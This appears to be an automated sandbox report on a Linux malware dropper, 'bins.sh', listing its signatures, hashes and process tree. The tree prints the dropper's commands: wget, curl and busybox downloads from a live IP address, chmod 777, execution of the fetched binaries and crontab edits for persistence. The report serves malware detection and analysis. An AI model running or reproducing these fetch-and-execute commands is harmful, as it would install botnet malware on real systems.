Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/11/2024, 21:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241105-1dlets1qbj
  • SHA256 d2968261bae25594b355d5d15a050006a28bd23cca83bab1c2e16f5cf3aba21f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2207) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1516
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1517
        • /usr/bin/wget
          wget http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /bin/chmod
          chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • File and Directory Permissions Modification
          PID:1524
        • /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1525
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1527
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1528
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1529
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1530
              • /bin/rm
                rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
                2⤵
                  PID:1532
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
                  2⤵
                  • Writes file to tmp directory
                  PID:1535

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF

                    • Path /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
                    • Size 112KB
                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                    • MD5 SHA1 SHA512 SSDEEP

                    V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN

                    • Path /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
                    • Size 39KB
                    • SHA256 879f458a41c9aed969bad907b2409191703a345ab94d3a5d2af1d9f3d66d2391
                    • MD5 SHA1 SHA512 SSDEEP

                    tmp.GgIzG6

                    • Path /var/spool/cron/crontabs/tmp.GgIzG6
                    • Size 210B
                    • SHA256 c70d5bf16f89cbd6f6533c273a8490da14a72fefb05e7d5ae8b4a8b299b0a79d
                    • MD5 SHA1 SHA512